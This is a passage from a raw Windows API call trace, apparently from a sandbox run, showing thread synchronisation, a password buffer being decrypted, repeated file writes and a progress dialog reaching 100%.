(hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.287] ResetEvent (hEvent=0x1a4) returned 1 [0060.287] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.287] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.290] ResetEvent (hEvent=0x1a4) returned 1 [0060.290] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.290] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.294] ResetEvent (hEvent=0x1a4) returned 1 [0060.294] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.294] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.297] ResetEvent (hEvent=0x1a4) returned 1 [0060.297] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.297] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.301] ResetEvent (hEvent=0x1a4) returned 1 [0060.301] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.301] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.304] ResetEvent (hEvent=0x1a4) returned 1 [0060.304] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.304] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.569] ResetEvent (hEvent=0x1a4) returned 1 [0061.569] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.569] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.620] ResetEvent (hEvent=0x190) returned 1 [0061.620] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.620] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.621] ResetEvent (hEvent=0x190) returned 1 [0061.621] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.621] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.624] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0062.011] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0062.011] GetFocus () returned 0x0 [0062.011] TranslateMessage (lpMsg=0x16d090) returned 0 [0062.011] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0062.011] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.011] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d190*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d190*=0) returned 0xc97c7 [0062.012] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x16d160*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d160*=0) returned 0xc9829 [0062.012] CryptUnprotectMemory (in: pDataIn=0x16d010, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d010) returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16cf90, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0062.012] CryptUnprotectMemory (in: pDataIn=0x16c9f0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16c9f0) returned 1 [0062.012] CryptUnprotectMemory (in: pDataIn=0x16caf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16caf0) returned 1 [0062.012] CryptUnprotectMemory (in: pDataIn=0x16cc70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cc70) returned 1 [0062.012] ResetEvent (hEvent=0x190) returned 1 [0062.013] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.013] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.013] ResetEvent (hEvent=0x190) returned 1 [0062.013] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.015] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.016] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0062.022] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0062.022] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0062.022] GetFocus () returned 0x0 [0062.022] TranslateMessage (lpMsg=0x16d090) returned 0 [0062.022] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0062.022] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.022] ResetEvent (hEvent=0x190) returned 1 [0062.022] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.023] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.023] ResetEvent (hEvent=0x190) returned 1 [0062.023] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.024] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.024] ResetEvent (hEvent=0x1a4) returned 1 [0062.024] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.048] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.048] ResetEvent (hEvent=0x190) returned 1 [0062.048] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.049] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.049] ResetEvent (hEvent=0x190) returned 1 [0062.049] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.050] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.051] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0062.054] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0062.054] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.054] ResetEvent (hEvent=0x190) returned 1 [0062.054] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.056] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.056] ResetEvent (hEvent=0x190) returned 1 [0062.056] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.057] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.057] ResetEvent (hEvent=0x190) returned 1 [0062.057] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.058] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] ResetEvent (hEvent=0x190) returned 1 [0062.058] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.059] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.060] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0062.063] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0062.063] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0062.063] GetFocus () returned 0x0 [0062.063] TranslateMessage (lpMsg=0x16d090) returned 0 [0062.063] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0062.063] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.063] ResetEvent (hEvent=0x190) returned 1 [0062.063] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.064] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.064] ResetEvent (hEvent=0x190) returned 1 [0062.064] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.065] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.065] ResetEvent (hEvent=0x1a4) returned 1 [0062.065] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.091] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] ResetEvent (hEvent=0x190) returned 1 [0062.092] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.092] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] ResetEvent (hEvent=0x190) returned 1 [0062.092] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.093] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.094] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0062.098] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0062.098] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.098] ResetEvent (hEvent=0x190) returned 1 [0062.098] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.099] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.099] ResetEvent (hEvent=0x190) returned 1 [0062.099] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.100] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] ResetEvent (hEvent=0x190) returned 1 [0062.100] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.100] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] ResetEvent (hEvent=0x190) returned 1 [0062.101] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.102] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.102] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0062.107] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0062.107] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0062.107] GetFocus () returned 0x0 [0062.107] TranslateMessage (lpMsg=0x16d090) returned 0 [0062.107] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0062.107] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.107] ResetEvent (hEvent=0x1a4) returned 1 [0062.107] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.054] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.054] ResetEvent (hEvent=0x190) returned 1 [0063.054] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.055] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] ResetEvent (hEvent=0x190) returned 1 [0063.055] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.056] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] ResetEvent (hEvent=0x190) returned 1 [0063.057] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.057] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] ResetEvent (hEvent=0x190) returned 1 [0063.058] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.058] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.059] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.063] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0063.063] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0063.063] GetFocus () returned 0x0 [0063.063] TranslateMessage (lpMsg=0x16d090) returned 0 [0063.063] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0063.063] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.063] ResetEvent (hEvent=0x190) returned 1 [0063.063] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.064] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.064] ResetEvent (hEvent=0x190) returned 1 [0063.064] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.065] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.065] ResetEvent (hEvent=0x190) returned 1 [0063.065] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.066] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.066] ResetEvent (hEvent=0x190) returned 1 [0063.066] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.067] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.067] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.071] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0063.071] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0063.071] GetFocus () returned 0x0 [0063.071] TranslateMessage (lpMsg=0x16d090) returned 0 [0063.071] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0063.071] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.071] ResetEvent (hEvent=0x1a4) returned 1 [0063.071] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.112] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.112] ResetEvent (hEvent=0x190) returned 1 [0063.112] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.113] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] ResetEvent (hEvent=0x190) returned 1 [0063.113] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.114] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.114] ResetEvent (hEvent=0x190) returned 1 [0063.114] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.115] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.115] ResetEvent (hEvent=0x190) returned 1 [0063.115] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.116] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.117] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.121] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0063.121] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0063.121] GetFocus () returned 0x0 [0063.121] TranslateMessage (lpMsg=0x16d090) returned 0 [0063.121] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0063.121] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.121] ResetEvent (hEvent=0x190) returned 1 [0063.121] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.122] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.122] ResetEvent (hEvent=0x190) returned 1 [0063.122] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.123] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.123] ResetEvent (hEvent=0x190) returned 1 [0063.123] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.124] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.124] ResetEvent (hEvent=0x190) returned 1 [0063.124] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.125] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.125] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.131] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0063.131] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.131] ResetEvent (hEvent=0x1a4) returned 1 [0063.131] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.175] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.175] ResetEvent (hEvent=0x190) returned 1 [0063.175] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.176] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] ResetEvent (hEvent=0x190) returned 1 [0063.176] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.177] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.177] ResetEvent (hEvent=0x190) returned 1 [0063.177] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.178] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] ResetEvent (hEvent=0x190) returned 1 [0063.178] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.179] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.180] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.183] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0063.183] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0063.183] GetFocus () returned 0x0 [0063.183] TranslateMessage (lpMsg=0x16d090) returned 0 [0063.183] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0063.183] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.183] ResetEvent (hEvent=0x190) returned 1 [0063.183] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.184] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.184] ResetEvent (hEvent=0x190) returned 1 [0063.184] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.185] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.185] ResetEvent (hEvent=0x190) returned 1 [0063.185] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.186] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] ResetEvent (hEvent=0x190) returned 1 [0063.186] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.187] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.188] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0063.191] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0063.191] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.192] ResetEvent (hEvent=0x1a4) returned 1 [0063.192] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.356] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.357] ResetEvent (hEvent=0x190) returned 1 [0063.358] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.359] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.359] ResetEvent (hEvent=0x190) returned 1 [0063.359] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.360] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.360] ReadFile (in: hFile=0x1b0, lpBuffer=0x8052a6e, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x16d480, lpOverlapped=0x0 | out: lpBuffer=0x8052a6e*, lpNumberOfBytesRead=0x16d480*=0x0, lpOverlapped=0x0) returned 1 [0063.360] GetTickCount () returned 0xa662cb [0063.360] GetLastError () returned 0x0 [0063.361] SetLastError (dwErrCode=0x0) [0063.361] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.361] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.361] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.361] SetWindowTextW (hWnd=0x1024e, lpString=" 100%") returned 1 [0063.399] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.399] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13873902504) returned 1 [0063.399] GetTickCount () returned 0xa662f9 [0063.399] GetLastError () returned 0x0 [0063.399] SetLastError (dwErrCode=0x0) [0063.399] GetDlgItem (hDlg=0x10244, nIDDlgItem=154) returned 0x10256 [0063.399] GetWindowTextW (in: hWnd=0x10256, lpString=0x16bf50, nMaxCount=2560 | out: lpString="00:00:03") returned 8 [0063.399] SetWindowTextW (hWnd=0x10256, lpString="00:00:06") returned 1 [0063.399] GetTickCount () returned 0xa662f9 [0063.399] GetLastError () returned 0x0 [0063.399] SetLastError 